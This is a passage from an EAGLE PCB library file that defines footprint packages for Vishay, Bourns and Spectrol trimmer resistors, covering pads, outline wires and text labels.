y1=\"2.35\" x2=\"3.3\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.3\" y1=\"2.35\" x2=\"3.3\" y2=\"-2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.75\" y1=\"-2.35\" x2=\"-1.75\" y2=\"-2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"-2.35\" x2=\"-3.3\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"2.35\" x2=\"-0.75\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-2.15\" y=\"1.5\" radius=\"0.6\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.55\" y=\"-2.25\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"2.25\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.55\" y=\"-2.25\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<text x=\"-3.74\" y=\"-3.69\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"5.21\" y=\"-3.69\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-2.7\" y1=\"1.4\" x2=\"-1.6\" y2=\"1.6\" layer=\"21\"/>\n<rectangle x1=\"-0.3\" y1=\"2.45\" x2=\"0.3\" y2=\"3\" layer=\"51\"/>\n<rectangle x1=\"-2.85\" y1=\"-3\" x2=\"-2.25\" y2=\"-2.45\" layer=\"51\"/>\n<rectangle x1=\"2.25\" y1=\"-3\" x2=\"2.85\" y2=\"-2.45\" layer=\"51\"/>\n</package>\n<package name=\"RTRIMTS63Z\">\n<description>&lt;b&gt;Trimm resistror&lt;/b&gt; VISHAY&lt;p&gt;\nseales container, solder immerson IP67</description>\n<wire x1=\"-3.3\" y1=\"3.3\" x2=\"-3.3\" y2=\"-3.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-3.3\" y1=\"-3.3\" x2=\"3.3\" y2=\"-3.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"3.3\" y1=\"-3.3\" x2=\"3.3\" y2=\"3.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"3.3\" y1=\"3.3\" x2=\"-3.3\" y2=\"3.3\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.75\" y1=\"3.3\" x2=\"-3.3\" y2=\"3.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"3.3\" x2=\"-3.3\" y2=\"-3.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"-3.3\" x2=\"1.75\" y2=\"-3.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.3\" y1=\"-3.3\" x2=\"3.3\" y2=\"3.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.3\" y1=\"3.3\" x2=\"0.75\" y2=\"3.3\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.95\" y1=\"3.45\" x2=\"-2.95\" y2=\"4.1\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.95\" y1=\"4.1\" x2=\"-2.4\" y2=\"4.1\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"4.1\" x2=\"-2.4\" y2=\"3.85\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.4\" y1=\"3.85\" x2=\"-1.8\" y2=\"3.85\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-1.8\" y1=\"3.85\" x2=\"-1.8\" y2=\"4.1\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-1.8\" y1=\"4.1\" x2=\"-1.25\" y2=\"4.1\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-1.25\" y1=\"4.1\" x2=\"-1.25\" y2=\"3.4\" width=\"0.1016\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.55\" y=\"-3.15\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"3.15\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<smd name=\"3\" x=\"2.55\" y=\"-3.15\" dx=\"1\" dy=\"3\" layer=\"1\"/>\n<text x=\"-3.84\" y=\"-3.44\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"5.16\" y=\"-3.44\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.3\" y1=\"3.4\" x2=\"0.3\" y2=\"4.4\" layer=\"51\"/>\n<rectangle x1=\"-2.85\" y1=\"-4.4\" x2=\"-2.25\" y2=\"-3.4\" layer=\"51\"/>\n<rectangle x1=\"2.25\" y1=\"-4.4\" x2=\"2.85\" y2=\"-3.4\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3296P\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;</description>\n<wire x1=\"4.15\" y1=\"4.35\" x2=\"-5.1\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-5.1\" y1=\"4.35\" x2=\"-5.1\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-5.1\" y1=\"-4.35\" x2=\"4.15\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"4.15\" y1=\"-4.35\" x2=\"4.15\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"4.25\" y1=\"-1.45\" x2=\"5.6\" y2=\"-1.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.6\" y1=\"-1.45\" x2=\"5.6\" y2=\"-2.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.6\" y1=\"-2.3\" x2=\"5.2\" y2=\"-2.3\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.2\" y1=\"-2.3\" x2=\"5.2\" y2=\"-2.75\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.2\" y1=\"-2.75\" x2=\"5.6\" y2=\"-2.75\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.6\" y1=\"-2.75\" x2=\"5.6\" y2=\"-3.65\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.6\" y1=\"-3.65\" x2=\"4.25\" y2=\"-3.65\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-5.48\" y=\"-4.5\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-2.17\" y=\"-3.45\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM3296W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;</description>\n<wire x1=\"-2.25\" y1=\"4.35\" x2=\"2.25\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"4.35\" x2=\"2.25\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"-4.35\" x2=\"-2.25\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"-4.35\" x2=\"-2.25\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"-2.55\" radius=\"1.1011\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"0\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.65\" y=\"-4.5\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.95\" y=\"-4.5\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.15\" y1=\"-3.6\" x2=\"0.15\" y2=\"-1.5\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3296X\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;</description>\n<wire x1=\"-2.25\" y1=\"4.35\" x2=\"2.25\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"4.35\" x2=\"2.25\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"-4.35\" x2=\"-2.25\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"-4.35\" x2=\"-2.25\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"4.4\" x2=\"-1.1\" y2=\"5.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"5.6\" x2=\"-0.25\" y2=\"5.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.25\" y1=\"5.6\" x2=\"-0.25\" y2=\"5.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.25\" y1=\"5.1\" x2=\"0.25\" y2=\"5.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.25\" y1=\"5.1\" x2=\"0.25\" y2=\"5.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.25\" y1=\"5.6\" x2=\"1.1\" y2=\"5.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.1\" y1=\"5.6\" x2=\"1.1\" y2=\"4.4\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"0\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.65\" y=\"-4.5\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.95\" y=\"-4.5\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM3296Y\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;</description>\n<wire x1=\"-2.25\" y1=\"4.35\" x2=\"2.25\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"4.35\" x2=\"2.25\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.25\" y1=\"-4.35\" x2=\"-2.25\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.25\" y1=\"-4.35\" x2=\"-2.25\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"-2.55\" radius=\"1.1011\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"1.27\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"-1.27\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"1.27\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.65\" y=\"-4.5\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.95\" y=\"-4.5\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.15\" y1=\"-3.6\" x2=\"0.15\" y2=\"-1.5\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM74W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;</description>\n<wire x1=\"2.15\" y1=\"-3.1\" x2=\"2.15\" y2=\"3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.15\" y1=\"3.1\" x2=\"-2\" y2=\"3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"3.1\" x2=\"-2\" y2=\"-3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"-3.1\" x2=\"2.15\" y2=\"-3.1\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"1.3\" y=\"2.25\" radius=\"0.5522\" width=\"0.1016\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.25\" y=\"-2.5\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"1.25\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"-1.25\" y=\"2.5\" drill=\"0.6096\"/>\n<text x=\"-2.3\" y=\"-3.15\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.7\" y=\"-3.15\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"0.8\" y1=\"2.1\" x2=\"1.8\" y2=\"2.4\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM74X\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;</description>\n<wire x1=\"2.15\" y1=\"-3.1\" x2=\"2.15\" y2=\"3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.15\" y1=\"3.1\" x2=\"-2\" y2=\"3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"3.1\" x2=\"-2\" y2=\"-3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2\" y1=\"-3.1\" x2=\"2.15\" y2=\"-3.1\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.75\" y1=\"-3.15\" x2=\"0.75\" y2=\"-3.7\" width=\"0.1016\" layer=\"25\"/>\n<wire x1=\"0.75\" y1=\"-3.7\" x2=\"1.15\" y2=\"-3.7\" width=\"0.1016\" layer=\"25\"/>\n<wire x1=\"1.15\" y1=\"-3.7\" x2=\"1.15\" y2=\"-3.5\" width=\"0.1016\" layer=\"25\"/>\n<wire x1=\"1.15\" y1=\"-3.5\" x2=\"1.45\" y2=\"-3.5\" width=\"0.1016\" layer=\"25\"/>\n<wire x1=\"1.45\" y1=\"-3.5\" x2=\"1.45\" y2=\"-3.7\" width=\"0.1016\" layer=\"25\"/>\n<wire x1=\"1.45\" y1=\"-3.7\" x2=\"1.85\" y2=\"-3.7\" width=\"0.1016\" layer=\"25\"/>\n<wire x1=\"1.85\" y1=\"-3.7\" x2=\"1.85\" y2=\"-3.15\" width=\"0.1016\" layer=\"25\"/>\n<pad name=\"1\" x=\"-1.25\" y=\"-2.5\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"1.25\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"-1.25\" y=\"2.5\" drill=\"0.6096\"/>\n<text x=\"-2.3\" y=\"-3.15\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.7\" y=\"-3.15\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM3224W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nTop Adjust</description>\n<wire x1=\"2.3\" y1=\"1.6\" x2=\"2.3\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"2.3\" y1=\"-1.6\" x2=\"-2.3\" y2=\"-1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.3\" y1=\"-1.6\" x2=\"-2.3\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-2.3\" y1=\"1.6\" x2=\"2.3\" y2=\"1.6\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.3\" y1=\"1.6\" x2=\"2.3\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"1.6\" x2=\"2.3\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.3\" y1=\"-1.6\" x2=\"2.1\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.1\" y1=\"-1.6\" x2=\"-2.3\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"-1.6\" x2=\"-2.3\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"1.6\" x2=\"-1.3\" y2=\"1.6\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.35\" y1=\"-1.6\" x2=\"-0.35\" y2=\"-1.6\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"1.2\" y=\"0.65\" radius=\"0.65\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.25\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.25\" y=\"-1.45\" dx=\"1.3\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"1.45\" dx=\"2\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-2.59\" y=\"-2.255\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.86\" y=\"-2.255\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.7\" y1=\"1.7\" x2=\"0.7\" y2=\"1.95\" layer=\"51\"/>\n<rectangle x1=\"0.85\" y1=\"-1.95\" x2=\"1.65\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"-1.65\" y1=\"-1.95\" x2=\"-0.85\" y2=\"-1.7\" layer=\"51\"/>\n<rectangle x1=\"0.6\" y1=\"0.55\" x2=\"1.8\" y2=\"0.75\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3339P\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nCermet MIL-R-22097</description>\n<circle x=\"0\" y=\"0\" radius=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.4199\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"2.54\" y=\"0\" drill=\"0.6096\"/>\n<text x=\"-2.515\" y=\"4.205\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.515\" y=\"-5.605\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.016\" y1=\"-0.254\" x2=\"1.016\" y2=\"0.254\" layer=\"21\"/>\n<rectangle x1=\"-0.254\" y1=\"-1.016\" x2=\"0.254\" y2=\"1.016\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM64P\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nCermet MIL-R-22097</description>\n<wire x1=\"-4.15\" y1=\"4.8\" x2=\"4.8\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"4.8\" y1=\"4.8\" x2=\"4.8\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"4.8\" y1=\"-4.8\" x2=\"-4.15\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.8\" y1=\"-3.9\" x2=\"-4.15\" y2=\"-3.25\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.15\" y1=\"-3.25\" x2=\"-4.15\" y2=\"3.25\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.15\" y1=\"3.25\" x2=\"-4.8\" y2=\"3.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.8\" y1=\"3.9\" x2=\"-4.8\" y2=\"4.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.8\" y1=\"4.15\" x2=\"-4.15\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"4.95\" y1=\"-2.25\" x2=\"6.15\" y2=\"-2.25\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.15\" y1=\"-2.25\" x2=\"6.15\" y2=\"-3.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.15\" y1=\"-3.05\" x2=\"5.7\" y2=\"-3.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.7\" y1=\"-3.05\" x2=\"5.7\" y2=\"-3.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.7\" y1=\"-3.6\" x2=\"6.15\" y2=\"-3.6\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.15\" y1=\"-3.6\" x2=\"6.15\" y2=\"-4.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.15\" y1=\"-4.45\" x2=\"4.95\" y2=\"-4.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.8\" y1=\"-4.15\" x2=\"-4.8\" y2=\"-3.9\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-4.15\" y1=\"-4.8\" x2=\"-4.8\" y2=\"-4.15\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-4.75\" y=\"-2.65\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-1.65\" y=\"-3.2\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM64W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nCermet MIL-R-22097</description>\n<wire x1=\"2.52\" y1=\"-4.8\" x2=\"-2.03\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.03\" y1=\"-4.8\" x2=\"-2.03\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.03\" y1=\"4.8\" x2=\"2.52\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.52\" y1=\"4.8\" x2=\"2.52\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.52\" y1=\"3.2\" x2=\"2.27\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.27\" y1=\"3.2\" x2=\"2.27\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.27\" y1=\"-3.2\" x2=\"2.52\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.52\" y1=\"-3.2\" x2=\"2.52\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-0.58\" y=\"3.3\" radius=\"1.1\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"1.27\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"1.27\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.62\" y=\"-4.95\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.35\" y=\"-4.95\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.78\" y1=\"2.25\" x2=\"-0.38\" y2=\"4.35\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM64X\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nCermet MIL-R-22097</description>\n<wire x1=\"2.52\" y1=\"-4.8\" x2=\"-2.03\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.03\" y1=\"-4.8\" x2=\"-2.03\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.03\" y1=\"4.8\" x2=\"2.52\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.52\" y1=\"4.8\" x2=\"2.52\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.52\" y1=\"3.2\" x2=\"2.27\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.27\" y1=\"3.2\" x2=\"2.27\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.27\" y1=\"-3.2\" x2=\"2.52\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.52\" y1=\"-3.2\" x2=\"2.52\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.83\" y1=\"4.95\" x2=\"-1.83\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.83\" y1=\"6.15\" x2=\"-1.03\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.03\" y1=\"6.15\" x2=\"-1.03\" y2=\"5.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.03\" y1=\"5.7\" x2=\"-0.48\" y2=\"5.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.48\" y1=\"5.7\" x2=\"-0.48\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.48\" y1=\"6.15\" x2=\"0.37\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.37\" y1=\"6.15\" x2=\"0.37\" y2=\"4.95\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"1.27\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"1.27\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.43\" y=\"-4.95\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"0.07\" y=\"-3.4\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM64Y\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nCermet MIL-R-22097</description>\n<wire x1=\"1.05\" y1=\"-4.8\" x2=\"-3.3\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"-4.8\" x2=\"-3.3\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"4.8\" x2=\"1.05\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"4.8\" x2=\"1.05\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"3.2\" x2=\"0.8\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"3.2\" x2=\"0.8\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"-3.2\" x2=\"1.05\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"-3.2\" x2=\"1.05\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-1.9\" y=\"-3.35\" radius=\"1.1\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"-2.54\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-3.84\" y=\"-4.95\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"2.75\" y=\"-4.95\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-2.1\" y1=\"-4.4\" x2=\"-1.7\" y2=\"-2.3\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM64Z\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nCermet MIL-R-22097</description>\n<wire x1=\"1.05\" y1=\"-4.8\" x2=\"-3.3\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"-4.8\" x2=\"-3.3\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.3\" y1=\"4.8\" x2=\"1.05\" y2=\"4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"4.8\" x2=\"1.05\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"3.2\" x2=\"0.8\" y2=\"3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"3.2\" x2=\"0.8\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.8\" y1=\"-3.2\" x2=\"1.05\" y2=\"-3.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.05\" y1=\"-3.2\" x2=\"1.05\" y2=\"-4.8\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"4.95\" 